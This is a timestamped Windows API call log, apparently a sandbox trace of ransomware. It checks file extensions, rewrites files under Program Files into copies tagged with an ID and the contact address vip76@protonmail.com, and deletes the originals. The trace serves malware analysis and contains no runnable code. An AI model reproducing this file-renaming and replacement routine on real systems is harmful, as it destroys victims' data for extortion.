	[0167.822] lstrlenW (lpString=".doc") returned 4
	[0167.822] lstrcmpiW (lpString1=".doc", lpString2=".xml") returned -1
	[0167.822] lstrlenW (lpString=".docx") returned 5
	[0167.822] lstrcmpiW (lpString1=".docx", lpString2="t.xml") returned -1
	[0167.822] lstrlenW (lpString=".pdf") returned 4
	[0167.822] lstrcmpiW (lpString1=".pdf", lpString2=".xml") returned -1
	[0167.822] lstrlenW (lpString=".xls") returned 4
	[0167.822] lstrcmpiW (lpString1=".xls", lpString2=".xml") returned -1
	[0167.822] lstrlenW (lpString=".xlsx") returned 5
	[0167.822] lstrcmpiW (lpString1=".xlsx", lpString2="t.xml") returned -1
	[0167.822] lstrlenW (lpString=".ppt") returned 4
	[0167.822] lstrcmpiW (lpString1=".ppt", lpString2=".xml") returned -1
	[0167.822] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\Content.xml") returned 62
	[0167.822] lstrlenW (lpString=".zip") returned 4
	[0167.822] lstrcmpiW (lpString1=".zip", lpString2=".xml") returned 1
	[0167.822] lstrlenW (lpString=".rar") returned 4
	[0167.822] lstrcmpiW (lpString1=".rar", lpString2=".xml") returned -1
	[0167.822] lstrlenW (lpString=".bz2") returned 4
	[0167.822] lstrcmpiW (lpString1=".bz2", lpString2=".xml") returned -1
	[0167.822] lstrlenW (lpString=".7z") returned 3
	[0167.822] lstrcmpiW (lpString1=".7z", lpString2="xml") returned -1
	[0167.822] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\Content.xml") returned 62
	[0167.822] lstrlenW (lpString=".dbf") returned 4
	[0167.822] lstrcmpiW (lpString1=".dbf", lpString2=".xml") returned -1
	[0167.822] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\Content.xml") returned 62
	[0167.822] lstrlenW (lpString=".1cd") returned 4
	[0167.822] lstrcmpiW (lpString1=".1cd", lpString2=".xml") returned -1
	[0167.822] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\Content.xml") returned 62
	[0167.823] lstrlenW (lpString=".jpg") returned 4
	[0167.823] lstrcmpiW (lpString1=".jpg", lpString2=".xml") returned -1
	[0167.823] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\Content.xml") returned 62
	[0167.823] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\Content.xml") returned 62
	[0167.823] lstrlenW (lpString=".doc") returned 4
	[0167.823] lstrcmpiW (lpString1=".doc", lpString2=".xml") returned -1
	[0167.823] lstrlenW (lpString=".docx") returned 5
	[0167.823] lstrcmpiW (lpString1=".docx", lpString2="t.xml") returned -1
	[0167.823] lstrlenW (lpString=".pdf") returned 4
	[0167.823] lstrcmpiW (lpString1=".pdf", lpString2=".xml") returned -1
	[0167.823] lstrlenW (lpString=".xls") returned 4
	[0167.823] lstrcmpiW (lpString1=".xls", lpString2=".xml") returned -1
	[0167.823] lstrlenW (lpString=".xlsx") returned 5
	[0167.823] lstrcmpiW (lpString1=".xlsx", lpString2="t.xml") returned -1
	[0167.823] lstrlenW (lpString=".ppt") returned 4
	[0167.823] lstrcmpiW (lpString1=".ppt", lpString2=".xml") returned -1
	[0167.823] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\Content.xml") returned 62
	[0167.823] lstrlenW (lpString=".zip") returned 4
	[0167.823] lstrcmpiW (lpString1=".zip", lpString2=".xml") returned 1
	[0167.823] lstrlenW (lpString=".rar") returned 4
	[0167.823] lstrcmpiW (lpString1=".rar", lpString2=".xml") returned -1
	[0167.823] lstrlenW (lpString=".bz2") returned 4
	[0167.823] lstrcmpiW (lpString1=".bz2", lpString2=".xml") returned -1
	[0167.823] lstrlenW (lpString=".7z") returned 3
	[0167.823] lstrcmpiW (lpString1=".7z", lpString2="xml") returned -1
	[0167.823] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\Content.xml") returned 62
	[0167.823] lstrlenW (lpString=".dbf") returned 4
	[0167.823] lstrcmpiW (lpString1=".dbf", lpString2=".xml") returned -1
	[0167.823] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\Content.xml") returned 62
	[0167.823] lstrlenW (lpString=".1cd") returned 4
	[0167.823] lstrcmpiW (lpString1=".1cd", lpString2=".xml") returned -1
	[0167.823] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\Content.xml") returned 62
	[0167.824] lstrlenW (lpString=".jpg") returned 4
	[0167.824] lstrcmpiW (lpString1=".jpg", lpString2=".xml") returned -1
	[0167.824] Sleep (dwMilliseconds=0x64) 
	[0168.097] lstrcmpiW (lpString1=".avi", lpString2=".html") returned -1
	[0168.097] lstrlenW (lpString="FlickAnimation.avi") returned 18
	[0168.097] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\FlickAnimation.avi" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\flickanimation.avi"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x4a8
	[0168.504] GetFileSizeEx (in: hFile=0x4a8, lpFileSize=0x3a0ff14 | out: lpFileSize=0x3a0ff14*=1600388) returned 1
	[0168.504] CloseHandle (hObject=0x4a8) returned 1
	[0168.504] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\FlickAnimation.avi" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\flickanimation.avi")) returned 0x20
	[0168.505] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\FlickAnimation.avi.id-B4197730.[vip76@protonmail.com].html" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\flickanimation.avi.id-b4197730.[vip76@protonmail.com].html")) returned 0xffffffff
	[0168.505] MoveFileW (lpExistingFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\FlickAnimation.avi" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\flickanimation.avi"), lpNewFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\FlickAnimation.avi.id-B4197730.[vip76@protonmail.com].html" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\flickanimation.avi.id-b4197730.[vip76@protonmail.com].html")) returned 0
	[0168.505] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\FlickAnimation.avi") returned 69
	[0168.505] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\FlickAnimation.avi") returned 69
	[0168.505] lstrlenW (lpString=".doc") returned 4
	[0168.505] lstrcmpiW (lpString1=".doc", lpString2=".avi") returned 1
	[0168.505] lstrlenW (lpString=".docx") returned 5
	[0168.505] lstrcmpiW (lpString1=".docx", lpString2="n.avi") returned -1
	[0168.505] lstrlenW (lpString=".pdf") returned 4
	[0168.505] lstrcmpiW (lpString1=".pdf", lpString2=".avi") returned 1
	[0168.505] lstrlenW (lpString=".xls") returned 4
	[0168.505] lstrcmpiW (lpString1=".xls", lpString2=".avi") returned 1
	[0168.505] lstrlenW (lpString=".xlsx") returned 5
	[0168.505] lstrcmpiW (lpString1=".xlsx", lpString2="n.avi") returned -1
	[0168.505] lstrlenW (lpString=".ppt") returned 4
	[0168.505] lstrcmpiW (lpString1=".ppt", lpString2=".avi") returned 1
	[0168.505] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\FlickAnimation.avi") returned 69
	[0168.505] lstrlenW (lpString=".zip") returned 4
	[0168.505] lstrcmpiW (lpString1=".zip", lpString2=".avi") returned 1
	[0168.505] lstrlenW (lpString=".rar") returned 4
	[0168.505] lstrcmpiW (lpString1=".rar", lpString2=".avi") returned 1
	[0168.505] lstrlenW (lpString=".bz2") returned 4
	[0168.506] lstrcmpiW (lpString1=".bz2", lpString2=".avi") returned 1
	[0168.506] lstrlenW (lpString=".7z") returned 3
	[0168.506] lstrcmpiW (lpString1=".7z", lpString2="avi") returned -1
	[0168.506] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\FlickAnimation.avi") returned 69
	[0168.506] lstrlenW (lpString=".dbf") returned 4
	[0168.506] lstrcmpiW (lpString1=".dbf", lpString2=".avi") returned 1
	[0168.506] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\FlickAnimation.avi") returned 69
	[0168.506] lstrlenW (lpString=".1cd") returned 4
	[0168.506] lstrcmpiW (lpString1=".1cd", lpString2=".avi") returned -1
	[0168.506] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\FlickAnimation.avi") returned 69
	[0168.506] lstrlenW (lpString=".jpg") returned 4
	[0168.506] lstrcmpiW (lpString1=".jpg", lpString2=".avi") returned 1
	[0168.506] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\FlickAnimation.avi") returned 69
	[0168.506] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\FlickAnimation.avi") returned 69
	[0168.506] lstrlenW (lpString=".doc") returned 4
	[0168.506] lstrcmpiW (lpString1=".doc", lpString2=".avi") returned 1
	[0168.506] lstrlenW (lpString=".docx") returned 5
	[0168.506] lstrcmpiW (lpString1=".docx", lpString2="n.avi") returned -1
	[0168.506] lstrlenW (lpString=".pdf") returned 4
	[0168.506] lstrcmpiW (lpString1=".pdf", lpString2=".avi") returned 1
	[0168.506] lstrlenW (lpString=".xls") returned 4
	[0168.506] lstrcmpiW (lpString1=".xls", lpString2=".avi") returned 1
	[0168.506] lstrlenW (lpString=".xlsx") returned 5
	[0168.506] lstrcmpiW (lpString1=".xlsx", lpString2="n.avi") returned -1
	[0168.506] lstrlenW (lpString=".ppt") returned 4
	[0168.506] lstrcmpiW (lpString1=".ppt", lpString2=".avi") returned 1
	[0168.506] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\FlickAnimation.avi") returned 69
	[0168.506] lstrlenW (lpString=".zip") returned 4
	[0168.506] lstrcmpiW (lpString1=".zip", lpString2=".avi") returned 1
	[0168.507] lstrlenW (lpString=".rar") returned 4
	[0168.507] lstrcmpiW (lpString1=".rar", lpString2=".avi") returned 1
	[0168.507] lstrlenW (lpString=".bz2") returned 4
	[0168.507] lstrcmpiW (lpString1=".bz2", lpString2=".avi") returned 1
	[0168.507] lstrlenW (lpString=".7z") returned 3
	[0168.507] lstrcmpiW (lpString1=".7z", lpString2="avi") returned -1
	[0168.507] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\FlickAnimation.avi") returned 69
	[0168.507] lstrlenW (lpString=".dbf") returned 4
	[0168.507] lstrcmpiW (lpString1=".dbf", lpString2=".avi") returned 1
	[0168.507] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\FlickAnimation.avi") returned 69
	[0168.507] lstrlenW (lpString=".1cd") returned 4
	[0168.507] lstrcmpiW (lpString1=".1cd", lpString2=".avi") returned -1
	[0168.507] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\FlickAnimation.avi") returned 69
	[0168.507] lstrlenW (lpString=".jpg") returned 4
	[0168.507] lstrcmpiW (lpString1=".jpg", lpString2=".avi") returned 1
	[0168.507] Sleep (dwMilliseconds=0x64) 
	[0168.739] lstrcmpiW (lpString1=".inc", lpString2=".html") returned 1
	[0168.739] lstrlenW (lpString="adovbs.inc") returned 10
	[0168.739] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\System\\ado\\adovbs.inc" (normalized: "c:\\program files\\common files\\system\\ado\\adovbs.inc"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x4ac
	[0168.762] GetFileSizeEx (in: hFile=0x4ac, lpFileSize=0x3a0ff14 | out: lpFileSize=0x3a0ff14*=15195) returned 1
	[0168.762] CloseHandle (hObject=0x4ac) returned 1
	[0168.762] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\System\\ado\\adovbs.inc" (normalized: "c:\\program files\\common files\\system\\ado\\adovbs.inc")) returned 0x20
	[0168.763] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\System\\ado\\adovbs.inc.id-B4197730.[vip76@protonmail.com].html" (normalized: "c:\\program files\\common files\\system\\ado\\adovbs.inc.id-b4197730.[vip76@protonmail.com].html")) returned 0xffffffff
	[0168.763] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\System\\ado\\adovbs.inc" (normalized: "c:\\program files\\common files\\system\\ado\\adovbs.inc"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff
	[0168.763] lstrlenW (lpString="C:\\Program Files\\Common Files\\System\\ado\\adovbs.inc") returned 51
	[0168.763] lstrlenW (lpString="C:\\Program Files\\Common Files\\System\\ado\\adovbs.inc") returned 51
	[0168.763] lstrlenW (lpString=".doc") returned 4
	[0168.763] lstrcmpiW (lpString1=".doc", lpString2=".inc") returned -1
	[0168.763] lstrlenW (lpString=".docx") returned 5
	[0168.763] lstrcmpiW (lpString1=".docx", lpString2="s.inc") returned -1
	[0168.763] lstrlenW (lpString=".pdf") returned 4
	[0168.763] lstrcmpiW (lpString1=".pdf", lpString2=".inc") returned 1
	[0168.763] lstrlenW (lpString=".xls") returned 4
	[0168.763] lstrcmpiW (lpString1=".xls", lpString2=".inc") returned 1
	[0168.763] lstrlenW (lpString=".xlsx") returned 5
	[0168.763] lstrcmpiW (lpString1=".xlsx", lpString2="s.inc") returned -1
	[0168.763] lstrlenW (lpString=".ppt") returned 4
	[0168.763] lstrcmpiW (lpString1=".ppt", lpString2=".inc") returned 1
	[0168.763] lstrlenW (lpString="C:\\Program Files\\Common Files\\System\\ado\\adovbs.inc") returned 51
	[0168.763] lstrlenW (lpString=".zip") returned 4
	[0168.763] lstrcmpiW (lpString1=".zip", lpString2=".inc") returned 1
	[0168.763] lstrlenW (lpString=".rar") returned 4
	[0168.764] lstrcmpiW (lpString1=".rar", lpString2=".inc") returned 1
	[0168.764] lstrlenW (lpString=".bz2") returned 4
	[0168.764] lstrcmpiW (lpString1=".bz2", lpString2=".inc") returned -1
	[0168.764] lstrlenW (lpString=".7z") returned 3
	[0168.764] lstrcmpiW (lpString1=".7z", lpString2="inc") returned -1
	[0168.764] lstrlenW (lpString="C:\\Program Files\\Common Files\\System\\ado\\adovbs.inc") returned 51
	[0168.764] lstrlenW (lpString=".dbf") returned 4
	[0168.764] lstrcmpiW (lpString1=".dbf", lpString2=".inc") returned -1
	[0168.764] lstrlenW (lpString="C:\\Program Files\\Common Files\\System\\ado\\adovbs.inc") returned 51
	[0168.764] lstrlenW (lpString=".1cd") returned 4
	[0168.764] lstrcmpiW (lpString1=".1cd", lpString2=".inc") returned -1
	[0168.764] lstrlenW (lpString="C:\\Program Files\\Common Files\\System\\ado\\adovbs.inc") returned 51
	[0168.764] lstrlenW (lpString=".jpg") returned 4
	[0168.764] lstrcmpiW (lpString1=".jpg", lpString2=".inc") returned 1
	[0168.764] lstrlenW (lpString="C:\\Program Files\\Common Files\\System\\ado\\adovbs.inc") returned 51
	[0168.764] lstrlenW (lpString="C:\\Program Files\\Common Files\\System\\ado\\adovbs.inc") returned 51
	[0168.764] lstrlenW (lpString=".doc") returned 4
	[0168.764] lstrcmpiW (lpString1=".doc", lpString2=".inc") returned -1
	[0168.764] lstrlenW (lpString=".docx") returned 5
	[0168.764] lstrcmpiW (lpString1=".docx", lpString2="s.inc") returned -1
	[0168.764] lstrlenW (lpString=".pdf") returned 4
	[0168.764] lstrcmpiW (lpString1=".pdf", lpString2=".inc") returned 1
	[0168.764] lstrlenW (lpString=".xls") returned 4
	[0168.765] lstrcmpiW (lpString1=".xls", lpString2=".inc") returned 1
	[0168.765] lstrlenW (lpString=".xlsx") returned 5
	[0168.765] lstrcmpiW (lpString1=".xlsx", lpString2="s.inc") returned -1
	[0168.765] lstrlenW (lpString=".ppt") returned 4
	[0168.765] lstrcmpiW (lpString1=".ppt", lpString2=".inc") returned 1
	[0168.765] lstrlenW (lpString="C:\\Program Files\\Common Files\\System\\ado\\adovbs.inc") returned 51
	[0168.765] lstrlenW (lpString=".zip") returned 4
	[0168.765] lstrcmpiW (lpString1=".zip", lpString2=".inc") returned 1
	[0168.765] lstrlenW (lpString=".rar") returned 4
	[0168.765] lstrcmpiW (lpString1=".rar", lpString2=".inc") returned 1
	[0168.765] lstrlenW (lpString=".bz2") returned 4
	[0168.765] lstrcmpiW (lpString1=".bz2", lpString2=".inc") returned -1
	[0168.765] lstrlenW (lpString=".7z") returned 3
	[0168.765] lstrcmpiW (lpString1=".7z", lpString2="inc") returned -1
	[0168.765] lstrlenW (lpString="C:\\Program Files\\Common Files\\System\\ado\\adovbs.inc") returned 51
	[0168.765] lstrlenW (lpString=".dbf") returned 4
	[0168.765] lstrcmpiW (lpString1=".dbf", lpString2=".inc") returned -1
	[0168.765] lstrlenW (lpString="C:\\Program Files\\Common Files\\System\\ado\\adovbs.inc") returned 51
	[0168.765] lstrlenW (lpString=".1cd") returned 4
	[0168.765] lstrcmpiW (lpString1=".1cd", lpString2=".inc") returned -1
	[0168.765] lstrlenW (lpString="C:\\Program Files\\Common Files\\System\\ado\\adovbs.inc") returned 51
	[0168.765] lstrlenW (lpString=".jpg") returned 4
	[0168.765] lstrcmpiW (lpString1=".jpg", lpString2=".inc") returned 1
	[0168.766] Sleep (dwMilliseconds=0x64) 
	[0168.966] Sleep (dwMilliseconds=0x64) 
	[0169.318] Sleep (dwMilliseconds=0x64) 
	[0169.676] lstrcmpiW (lpString1=".WMF", lpString2=".html") returned 1
	[0169.676] lstrlenW (lpString="FD00306_.WMF") returned 12
	[0169.676] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00306_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\fd00306_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x50c
	[0170.028] GetFileSizeEx (in: hFile=0x50c, lpFileSize=0x3a0ff14 | out: lpFileSize=0x3a0ff14*=0) returned 1
	[0170.028] CloseHandle (hObject=0x50c) returned 1
	[0170.028] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00306_.WMF") returned 68
	[0170.028] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00306_.WMF") returned 68
	[0170.028] lstrlenW (lpString=".doc") returned 4
	[0170.028] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1
	[0170.028] lstrlenW (lpString=".docx") returned 5
	[0170.028] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1
	[0170.028] lstrlenW (lpString=".pdf") returned 4
	[0170.028] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1
	[0170.028] lstrlenW (lpString=".xls") returned 4
	[0170.029] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1
	[0170.029] lstrlenW (lpString=".xlsx") returned 5
	[0170.029] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1
	[0170.029] lstrlenW (lpString=".ppt") returned 4
	[0170.029] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1
	[0170.029] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00306_.WMF") returned 68
	[0170.029] lstrlenW (lpString=".zip") returned 4
	[0170.029] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1
	[0170.029] lstrlenW (lpString=".rar") returned 4
	[0170.029] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1
	[0170.029] lstrlenW (lpString=".bz2") returned 4
	[0170.029] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1
	[0170.029] lstrlenW (lpString=".7z") returned 3
	[0170.029] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1
	[0170.029] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00306_.WMF") returned 68
	[0170.029] lstrlenW (lpString=".dbf") returned 4
	[0170.029] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1
	[0170.029] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00306_.WMF") returned 68
	[0170.029] lstrlenW (lpString=".1cd") returned 4
	[0170.029] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1
	[0170.029] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00306_.WMF") returned 68
	[0170.029] lstrlenW (lpString=".jpg") returned 4
	[0170.029] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1
	[0170.029] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00306_.WMF") returned 68
	[0170.029] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00306_.WMF") returned 68
	[0170.029] lstrlenW (lpString=".doc") returned 4
	[0170.029] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1
	[0170.029] lstrlenW (lpString=".docx") returned 5
	[0170.029] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1
	[0170.029] lstrlenW (lpString=".pdf") returned 4
	[0170.029] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1
	[0170.030] lstrlenW (lpString=".xls") returned 4
	[0170.030] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1
	[0170.030] lstrlenW (lpString=".xlsx") returned 5
	[0170.030] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1
	[0170.030] lstrlenW (lpString=".ppt") returned 4
	[0170.030] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1
	[0170.030] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00306_.WMF") returned 68
	[0170.030] lstrlenW (lpString=".zip") returned 4
	[0170.030] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1
	[0170.030] lstrlenW (lpString=".rar") returned 4
	[0170.030] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1
	[0170.030] lstrlenW (lpString=".bz2") returned 4
	[0170.030] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1
	[0170.030] lstrlenW (lpString=".7z") returned 3
	[0170.030] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1
	[0170.030] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00306_.WMF") returned 68
	[0170.030] lstrlenW (lpString=".dbf") returned 4
	[0170.030] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1
	[0170.030] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00306_.WMF") returned 68
	[0170.030] lstrlenW (lpString=".1cd") returned 4
	[0170.030] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1
	[0170.030] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00306_.WMF") returned 68
	[0170.030] lstrlenW (lpString=".jpg") returned 4
	[0170.030] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1
	[0170.030] lstrcmpiW (lpString1=".WMF", lpString2=".html") returned 1
	[0170.030] lstrlenW (lpString="FD00438_.WMF") returned 12
	[0170.031] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00438_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\fd00438_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x510
	[0170.284] GetFileSizeEx (in: hFile=0x510, lpFileSize=0x3a0ff14 | out: lpFileSize=0x3a0ff14*=5098) returned 1
	[0170.284] CloseHandle (hObject=0x510) returned 1
	[0170.285] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00438_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\fd00438_.wmf")) returned 0x220
	[0170.285] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00438_.WMF.id-B4197730.[vip76@protonmail.com].html" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\fd00438_.wmf.id-b4197730.[vip76@protonmail.com].html")) returned 0xffffffff
	[0170.285] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00438_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\fd00438_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x510
	[0170.285] SetFilePointerEx (in: hFile=0x510, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x3a0fec0 | out: lpNewFilePointer=0x0) returned 1
	[0170.285] SetFilePointerEx (in: hFile=0x510, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x3a0fec0 | out: lpNewFilePointer=0x0) returned 1
	[0170.285] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00438_.WMF.id-B4197730.[vip76@protonmail.com].html" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\fd00438_.wmf.id-b4197730.[vip76@protonmail.com].html"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x50c
	[0170.286] GetLastError () returned 0x0
	[0170.286] ReadFile (in: hFile=0x510, lpBuffer=0x45f9020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x3a0fecc, lpOverlapped=0x0 | out: lpBuffer=0x45f9020*, lpNumberOfBytesRead=0x3a0fecc*=0x13ea, lpOverlapped=0x0) returned 1
	[0170.302] WriteFile (in: hFile=0x50c, lpBuffer=0x45f9020*, nNumberOfBytesToWrite=0x13f0, lpNumberOfBytesWritten=0x3a0fc94, lpOverlapped=0x0 | out: lpBuffer=0x45f9020*, lpNumberOfBytesWritten=0x3a0fc94*=0x13f0, lpOverlapped=0x0) returned 1
	[0170.304] ReadFile (in: hFile=0x510, lpBuffer=0x45f9020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x3a0fecc, lpOverlapped=0x0 | out: lpBuffer=0x45f9020*, lpNumberOfBytesRead=0x3a0fecc*=0x0, lpOverlapped=0x0) returned 1
	[0170.304] WriteFile (in: hFile=0x50c, lpBuffer=0x45f9020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x3a0fc94, lpOverlapped=0x0 | out: lpBuffer=0x45f9020*, lpNumberOfBytesWritten=0x3a0fc94*=0xec, lpOverlapped=0x0) returned 1
	[0170.304] SetEndOfFile (hFile=0x50c) returned 1
	[0170.304] CloseHandle (hObject=0x50c) returned 1
	[0170.304] SetFilePointerEx (in: hFile=0x510, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x3a0fec0 | out: lpNewFilePointer=0x0) returned 1
	[0170.304] SetEndOfFile (hFile=0x510) returned 1
	[0170.310] CloseHandle (hObject=0x510) returned 1
	[0170.311] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00438_.WMF.id-B4197730.[vip76@protonmail.com].html", dwFileAttributes=0x220) returned 1
	[0170.311] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00438_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\fd00438_.wmf")) returned 1
	[0170.312] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00438_.WMF") returned 68
	[0170.312] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00438_.WMF") returned 68
	[0170.312] lstrlenW (lpString=".doc") returned 4
	[0170.312] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1
	[0170.312] lstrlenW (lpString=".docx") returned 5
	[0170.312] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1
	[0170.312] lstrlenW (lpString=".pdf") returned 4
	[0170.312] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1
	[0170.312] lstrlenW (lpString=".xls") returned 4
	[0170.312] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1
	[0170.312] lstrlenW (lpString=".xlsx") returned 5
	[0170.312] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1
	[0170.312] lstrlenW (lpString=".ppt") returned 4
	[0170.312] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1
	[0170.312] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00438_.WMF") returned 68
